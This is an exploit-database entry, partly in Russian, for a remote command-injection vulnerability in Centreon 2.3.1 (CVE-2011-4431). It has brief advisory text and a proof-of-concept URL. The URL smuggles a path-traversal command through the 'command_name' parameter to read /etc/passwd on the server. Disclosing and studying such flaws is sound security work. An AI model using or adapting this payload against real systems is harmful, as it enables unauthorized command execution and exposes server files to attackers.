Exploit Centreon 2.3.1 - 'command_name' Remote Command Execution

[Exploiter]

EDB-ID

36293

Проверка EDB

1. Пройдено

Автор

CHRISTOPHE DE LA FUENTE

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2011-4431

Дата публикации

2011-11-04

Centreon 2.3.1 - 'command_name' Remote Command Execution

source: https://www.securityfocus.com/bid/50568/info

Centreon is prone to a remote command-injection vulnerability.

Attackers can exploit this issue to execute arbitrary commands in the context of the application.

Centreon 2.3.1 is affected; other versions may also be vulnerable. 

http://www.example.com/centreon/main.php?p=60706&command_name=/Centreon/SNMP/../../../../bin/cat%20/etc/passwd%20%23&o=h&min=1